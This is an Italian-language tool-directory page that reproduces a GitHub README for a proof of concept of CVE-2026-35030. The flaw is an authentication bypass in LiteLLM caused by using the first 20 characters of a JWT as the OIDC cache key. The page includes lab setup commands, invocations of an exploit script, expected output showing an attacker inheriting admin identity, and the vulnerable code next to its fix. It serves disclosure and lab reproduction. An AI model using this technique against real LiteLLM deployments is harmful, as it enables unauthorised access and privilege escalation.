Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-35030-PoC — Il codice per riprodurre personalmente la vulnerabilità corrispondente | Kitploit
Strumenti/GitHubGitHub/learner202649/cve-2026-35030-poc
Analisi delle VulnerabilitàExploitSicurezza WebCrittografiaPenetration TestingAutenticazioneApprendimento e FormazioneLab e Pratica
GitHublearner202649/cve-2026-35030-poc

CVE-2026-35030-PoC

Il codice per riprodurre personalmente la vulnerabilità corrispondente

Vedi Repository
13 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-35030 — Bypass dell'autenticazione LiteLLM tramite collisione della chiave di cache OIDC Userinfo

La cache OIDC userinfo di LiteLLM usa token[:20] come chiave di cache. Due JWT diversi firmati con lo stesso algoritmo producono primi 20 caratteri identici, consentendo a un attaccante non autenticato di ereditare l'identità e i permessi in cache di un altro utente.

CampoValore
CVECVE-2026-35030
CVSS v4.09.4 (CRITICO) — CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:N/SC:H/SI:H/SA:N
CVSS v3.19.1 (CRITICO) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
CWECWE-287 (Autenticazione impropria) / CWE-222 (Credenziali protette in modo insufficiente)
Versioni interessateLiteLLM < 1.83.0 (con enable_jwt_auth: true)
Versione correttav1.83.0+ (chiave di cache modificata in sha256(token))
Pubblicato2026-04-06
Scoperto daVeria Labs
LinkGHSA-jjhc-v7c2-5hh6 • NVD • Avviso GitLab

Descrizione

LiteLLM è un AI Gateway / server proxy per chiamare le API LLM. Quando l'autenticazione JWT è abilitata (enable_jwt_auth: true), LiteLLM valida i token contro un provider OIDC e mette in cache la risposta userinfo.

La vulnerabilità: la chiave di cache usa solo i primi 20 caratteri del JWT:

root@kitploit:~
# Vulnerable code (pre-1.83.0)
cache_key = token[:20]   # Only first 20 characters!

Un JWT è composto da tre segmenti codificati in base64url separati da punti:

root@kitploit:~
<header>.<payload>.<signature>

L'header (ad es., {"alg":"RS256","typ":"JWT"}) viene codificato in modo identico per tutti i token che usano lo stesso algoritmo di firma. Ciò significa che due JWT diversi — emessi per utenti completamente differenti — avranno gli stessi primi 20 caratteri.

Flusso dell'attacco

root@kitploit:~
1. Admin authenticates → LiteLLM fetches userinfo → cached with key = token[:20]
                                                                    ↑
2. Attacker crafts JWT with same algorithm (RS256) ────────────────┘
   → token[:20] is IDENTICAL → cache HIT → inherits admin identity

Impatto

  • Bypass dell'autenticazione: l'attaccante eredita l'identità di qualsiasi utente in cache
  • Escalation dei privilegi: se lo userinfo dell'admin è in cache, l'attaccante ottiene privilegi da admin
  • Violazione di riservatezza e integrità: l'attaccante può accedere/modificare le risorse come la vittima
  • Nessuna autenticazione richiesta (l'attaccante può essere non autenticato)

Nota sulla licenza Enterprise: l'autenticazione JWT/OIDC è una funzionalità solo enterprise in LiteLLM (richiede LITELLM_LICENSE). Per la riproduzione locale della CVE, entrambi i Dockerfile applicano una patch al controllo premium_user impostandolo su True. Questo non influisce sulla vulnerabilità — la collisione della chiave di cache (token[:20]) esiste indipendentemente dal controllo enterprise.

Al primo avvio vengono eseguite le migrazioni Prisma (~60-90s). LiteLLM sarà pronto quando i log mostrano "Uvicorn running on http://0.0.0.0:4000".

Proof of Concept

Avvio rapido (Docker)

root@kitploit:~
# 1. Build and start vulnerable LiteLLM + mock OIDC provider
docker compose up -d --build

# 2. Install Python dependencies
pip install -r requirements.txt

# 3. Create test users (required for JWT auth — master key needed)
curl -s -X POST http://localhost:4000/user/new \
  -H "Authorization: Bearer sk-litellm-master-key" \
  -H "Content-Type: application/json" \
  -d '{"user_id": "admin", "role": "proxy_admin"}'
curl -s -X POST http://localhost:4000/user/new \
  -H "Authorization: Bearer sk-litellm-master-key" \
  -H "Content-Type: application/json" \
  -d '{"user_id": "attacker", "role": "proxy_admin"}'

# 4. Demonstrate the cache key collision
python3 exploit/exploit.py --mode demo

# 5. Run the full exploit (auth bypass via cache collision)
python3 exploit/exploit.py --mode exploit --target http://localhost:4000

# 6. (Optional) Verify it's fixed in v1.83.0+
docker compose --profile fixed up -d --build litellm-fixed
python3 exploit/exploit.py --mode exploit --target http://localhost:4001 --fixed

Output atteso

Modalità demo — mostra la collisione della chiave di cache:

root@kitploit:~
[+] Admin JWT    (subject=admin):
    Token:     eyJhbGciOiJSUzI1NiIsImtpZCI6Im1vY2stb2lkYy1rZXktMDAxIiwidHlw...
    Prefix:    'eyJhbGciOiJSUzI1NiIs'

[+] Attacker JWT (subject=attacker):
    Token:     eyJhbGciOiJSUzI1NiIsImtpZCI6Im1vY2stb2lkYy1rZXktMDAxIiwidHlw...
    Prefix:    'eyJhbGciOiJSUzI1NiIs'

[🔥] COLLISION: Both tokens share the same first 20 characters!
    Reason: Both tokens use RS256 signing → identical JWT header base64 → identical first 20 characters
    → cache_key = token[:20] = 'eyJhbGciOiJSUzI1NiIs'

Modalità exploit — dimostra il bypass effettivo dell'autenticazione:

root@kitploit:~
[VULNERABLE] Exploit Attempt — target: http://localhost:4000

[*] Step 1: Obtaining JWTs from OIDC provider...
    Prefix collision: True

[*] Step 2: Sending admin JWT to LiteLLM (populates OIDC cache)...
    HTTP 200
    Response: {"user_id": "admin", ...}

[*] Step 3: Sending attacker JWT (cache collision attempt)...
    HTTP 200
    Response: {"user_id": "admin", ...}   ← INHERITED ADMIN!

[🔥] EXPLOIT SUCCEEDED! Attacker inherited admin identity!
        Attacker's token[:20] matched admin's cache key.
        Response user_id='admin' (expected 'admin' for escalation)

Versione corretta — la chiave di cache sha256 previene la collisione:

root@kitploit:~
[FIXED] Exploit Attempt — target: http://localhost:4001

[*] Step 1: Obtaining JWTs from OIDC provider...
    Prefix collision: True

[*] Step 2: Sending admin JWT to LiteLLM (populates OIDC cache)...
    HTTP 200
    Response: {"user_id": "admin", ...}

[*] Step 3: Sending attacker JWT (cache collision attempt)...
    HTTP 200
    Response: {"user_id": "attacker", ...}   ← OWN IDENTITY preserved

    [+] Attacker identified as user_id='attacker'.
        Fixed version: cache collision prevented.

Dettagli tecnici

Causa principale

In litellm/proxy/auth/handle_jwt.py, la cache OIDC userinfo è indicizzata dalla chiave token[:20]:

root@kitploit:~
# Vulnerable (pre-1.83.0) — litellm/proxy/auth/handle_jwt.py
cache_key = f"oidc_userinfo_{token[:20]}"   # Only first 20 chars!
cached_userinfo = await user_api_key_cache.async_get_cache(cache_key)
if cached_userinfo is not None:
    return cached_userinfo  # Cache hit → skip userinfo fetch!

# Fixed (v1.83.0+) — same file, line 625
import hashlib
cache_key = f"oidc_userinfo_{hashlib.sha256(token.encode()).hexdigest()}"

Perché token[:20] è insufficiente

Componente del tokenInclude dati specifici dell'utente?Costante per lo stesso algoritmo?
Header (primi ~30 caratteri)❌ No✅ Sì — base64 identico
Payload (specifico dell'utente)✅ Sì❌ No — unico per utente
Firma✅ Sì❌ No — unica per chiave

Poiché l'header è l'unica parte nei primi 20 caratteri, e l'header è identico per tutti i token che usano lo stesso algoritmo di firma, ogni JWT RS256 proveniente dallo stesso issuer ha esattamente gli stessi primi 20 caratteri.

Scenari di attacco

ScenarioDescrizione
Escalation dei privilegiUn utente con privilegi bassi diventa admin tramite la collisione della cache
Impersonazione orizzontaleImpersonare qualsiasi utente il cui userinfo è in cache
Catena di bypass dell'autenticazioneCombinare con CVE-2026-35029 per ottenere RCE

Ambiente

root@kitploit:~
CVE-2026-35030/
├── README.md                    # This file
├── docker-compose.yml           # Vulnerable + fixed LiteLLM + mock OIDC
├── litellm_config.yaml          # LiteLLM config with JWT auth enabled
├── requirements.txt             # Python dependencies (PoC)
├── litellm-vuln/
│   └── Dockerfile               # Vulnerable LiteLLM v1.82.5 with enterprise patch
├── litellm-fixed/
│   └── Dockerfile               # Fixed LiteLLM v1.83.0+ with sha256 cache key
├── oidc-provider/
│   ├── Dockerfile               # Mock OIDC provider image
│   ├── requirements.txt
│   └── server.py                # OIDC mock (FastAPI)
├── exploit/
│   ├── exploit.py               # Main PoC exploit script
│   └── token_forge.py           # JWT collision utilities
├── docs/
│   └── advisory.md              # Advisory reference
└── screenshots/
    └── README.md                # Proof screenshots placeholder

Mitigazione

  1. Aggiornare a LiteLLM v1.83.0+ (la chiave di cache usa sha256(token))
  2. Disabilitare l'autenticazione JWT/OIDC se non necessaria: enable_jwt_auth: false
  3. Limitare l'esposizione di rete degli endpoint LiteLLM
  4. Impostare un TTL breve per la cache OIDC per ridurre la finestra di attacco

Riferimenti

  • Avviso di sicurezza GitHub GHSA-jjhc-v7c2-5hh6
  • Avviso GitLab
  • Dettagli NVD
  • Hardening della sicurezza LiteLLM (aprile 2026)
  • Rilascio v1.83.0-stable

Disclaimer: questo contenuto è fornito solo per scopi educativi e test di sicurezza autorizzati.

Scarica lo strumento